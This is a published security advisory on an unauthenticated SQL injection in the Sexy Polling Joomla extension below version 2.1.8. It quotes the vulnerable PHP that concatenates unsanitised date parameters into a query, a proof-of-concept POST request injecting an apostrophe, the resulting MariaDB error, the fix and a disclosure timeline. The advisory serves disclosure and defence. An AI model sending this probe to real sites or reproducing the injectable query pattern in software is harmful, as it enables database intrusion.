Joomla Sexy Polling 2.1.7 SQL Injection

🗓️ 25 Apr 2022 00:00:00Reported by Wolfgang Hotwagner, ait.ac.atType
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Sexy Polling Joomla Extension SQL Injection allows for arbitrary SQL command execution
`SexyPolling SQL Injection  
  
====================  
  
| Identifier: | AIT-SA-20220208-01|  
| Target: | Sexy Polling ( Joomla Extension) |  
| Vendor: | 2glux |  
| Version: | all versions below version 2.1.8 |  
| CVE: | Not yet |  
| Accessibility: | Remote |  
| Severity: | Critical |  
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |  
  
  
Summary  
  
========  
  
[Sexy Polling is a Joomla Extension for votes.](https://2glux.com/projects/sexypolling). In all versions below 2.1.8 an unauthenticated attacker could execute arbitrary SQL commands by sending crafted POST-parameters to poll.php.  
  
  
Vulnerability Description  
  
====================  
  
In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.  
  
In lines 74 and 75 in the *site/vote.php* code, the parameters are assigned without being checked:  
  
```  
$min_date_sent = isset($_POST['min_date']) ? $_POST['min_date'].' 00:00:00' : '';  
$max_date_sent = isset($_POST['max_date']) ? $_POST['max_date'].' 23:59:59' : '';  
```  
  
These are later used unfiltered by the WHERE clause:  
  
```  
$query_toal = "SELECT  
COUNT(sv.`id_answer`) total_count,  
MAX(sv.`date`) max_date,  
MIN(sv.`date`) min_date  
FROM  
`#__sexy_votes` sv  
JOIN  
`#__sexy_answers` sa ON sa.id_poll = '$polling_id'  
AND  
sa.published = '1'  
WHERE  
sv.`id_answer` = sa.id";  
  
//if dates are sent, add them to query  
if ($min_date_sended != '' && $max_date_sended != '')  
$query_toal .= " AND sv.`date` >= '$min_date_sended' AND sv.`date` <= '$max_date_sended' ";  
```  
  
Proof Of Concept  
  
==============  
  
To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.  
  
HTTP-Request:  
```  
POST /components/com_sexypolling/vote.php HTTP/1.1  
  
Host: joomla-server.local  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
HTTP_X_REAL_IP: 1.1.1.1  
Content-Length: 193  
Origin: joomla-server.local  
Connection: close  
Referer: joomla-server.local/index.php/component/search/  
Cookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6  
  
polling_id=1&answer_id[]=3&dateformat=digits&min_date=2021-12-07'&max_date=2021-12-14&country_name=-&country_code=-&city_name=-&region_name=-&voting_period=24&ae9a061e2170d406fb817b9ec0c42918=1  
```  
  
The HTTP-Resoonse contains a mysql error:  
  
```  
HTTP/1.1 500 Internal Server Error  
Date: Wed, 15 Dec 2021 10:27:40 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Set-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-cache  
Pragma: no-cache  
Set-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=/  
Content-Length: 4768  
Connection: close  
Content-Type: application/json  
  
<!DOCTYPE html>  
<html lang="en-gb" dir="ltr">  
<head>  
<meta charset="utf-8" />  
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '00:00:00' AND sv.`date` <= '2021-12-14 23:59:59'' at line 12</title>  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />  
```  
  
Vulnerable Versions  
================  
All versions below version 2.1.8  
  
Tested Versions  
=============  
Sexy Polling ( Joomla Extension) 2.1.7  
  
Impact  
======  
An unauthenticated attacker could inject and execute SQL commands on the database.  
  
Mitigation  
=========  
Sexy Polling 2.1.8 fixed that issue  
  
Vendor Contact Timeline  
====================  
| 2021-12-14 | Unable to find a contact of the vendor |  
| 2021-12-15 | Contacting Joomla Security Strike Team |  
| 2021-12-29 | Answer from the Joomla Security Strike Team that they will investigate the problem. |  
| 2022-01-01 | Sexy Polling releases 2.1.8 |  
| 2022-04-08 | Public Disclosure |  
  
*We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.*  
  
Advisory URL  
===========  
[https://www.ait.ac.at/ait-sa-20220208-01-sexypolling](https://www.ait.ac.at/ait-sa-20220208-01-sexypolling)  
`
25 Apr 2022 00:00Current
0.4Low risk
Vulners AI Score0.4